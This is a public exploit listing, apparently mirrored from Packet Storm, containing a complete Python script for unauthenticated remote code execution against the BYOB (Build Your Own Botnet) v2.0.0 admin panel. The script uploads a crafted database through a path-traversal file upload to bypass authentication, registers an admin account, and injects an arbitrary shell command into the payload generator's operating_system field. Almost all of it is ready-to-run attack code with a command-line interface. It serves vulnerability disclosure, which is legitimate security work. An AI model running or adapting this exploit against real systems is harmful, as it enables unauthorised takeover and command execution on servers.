Share
## https://sploitus.com/exploit?id=PACKETSTORM:180191
# Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution)  
# Date: 2024-08-14  
# Exploit Author: @_chebuya  
# Software Link: https://github.com/malwaredllc/byob  
# Version: v2.0.0  
# Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3->numpy  
# CVE: CVE-2024-?????, CVE-2024-?????  
# Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting an authenticated command injection in the payload builder page  
# Github:   
# Blog:   
import sys  
import json  
import base64  
import string  
import random  
import argparse  
import requests  
  
from bs4 import BeautifulSoup  
  
  
def get_csrf(session, url):  
r = session.get(url)  
soup = BeautifulSoup(r.text, 'html.parser')  
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']  
return csrf_token  
  
  
def upload_database(session, url, filename):  
with open('database.db', 'rb') as f:  
bindata = f.read()  
data = base64.b64encode(bindata).decode('ascii')  
json_data = {'data': data, 'filename': filename, 'type': "txt", 'owner': "admin", "module": "icloud", "session": "lol"}  
headers = {  
'Content-Length': str(len(json.dumps(json_data)))  
}  
print("[***] Uploading database")  
upload_response = session.post(f"{url}/api/file/add", data=json_data, headers=headers)  
print(upload_response.status_code)  
return upload_response.status_code  
  
  
def exploit(url, username, password, user_agent, command):  
s = requests.Session()  
# This is to ensure reliability, as the application cwd might change depending on the stage of the docker run process  
filepaths = ["/proc/self/cwd/buildyourownbotnet/database.db", "/proc/self/cwd/../buildyourownbotnet/database.db", "/proc/self/cwd/../../../../buildyourownbotnet/database.db", "/proc/self/cwd/instance/database.db", "/proc/self/cwd/../../../../instance/database.db", "/proc/self/cwd/../instance/database.db"]  
failed = True  
for filepath in filepaths:  
if upload_database(s, url, filepath) != 500:  
failed = False  
break  
if failed:  
print("[!!!] Failed to upload database, exiting")  
sys.exit(1)  
  
if password is None:  
password = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(32)])  
print(username + ":" + password)  
  
register_csrf = get_csrf(s, f'{url}/register')  
headers = {  
'User-Agent': user_agent,  
'Content-Type': 'application/x-www-form-urlencoded',  
}  
data = {  
'csrf_token': register_csrf,  
'username': username,  
'password': password,  
'confirm_password': password,  
'submit': 'Sign Up'  
}  
print("[***] Registering user ")  
regsiter_response = s.post(f'{url}/register', headers=headers, data=data)  
print(regsiter_response.status_code)  
  
login_csrf = get_csrf(s, f'{url}/login')  
data = {  
'csrf_token': login_csrf,  
'username': username,  
'password': password,  
'submit': 'Log In'  
}  
print("[***] Logging in")  
login_response = s.post(f'{url}/login', headers=headers, data=data)  
print(login_response.status_code)  
  
headers = {  
'User-Agent': user_agent,  
'Content-Type': 'application/x-www-form-urlencoded',  
}  
data = f'format=exe&operating_system=nix$({command})&architecture=amd64'  
try:  
s.post(f'{url}/api/payload/generate', headers=headers, data=data, stream=True, timeout=0.0000000000001)  
except requests.exceptions.ReadTimeout:  
pass  
  
  
parser = argparse.ArgumentParser()  
parser.add_argument("-t", "--target", help="The target URL of the BYOB admin panel", required=True)  
parser.add_argument("-u", "--username", help="The username to set for the new admin account", default='admin')  
parser.add_argument("-p", "--password", help="The password to set for the new admin account", default=None)  
parser.add_argument("-A", "--user-agent", help="The user-agent to use for requests", default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36')  
parser.add_argument("-c", "--command", help="The command to execute on the BYOB server", required=True)  
  
args = parser.parse_args()  
  
exploit(args.target.rstrip("/"), args.username, args.password, args.user_agent, args.command)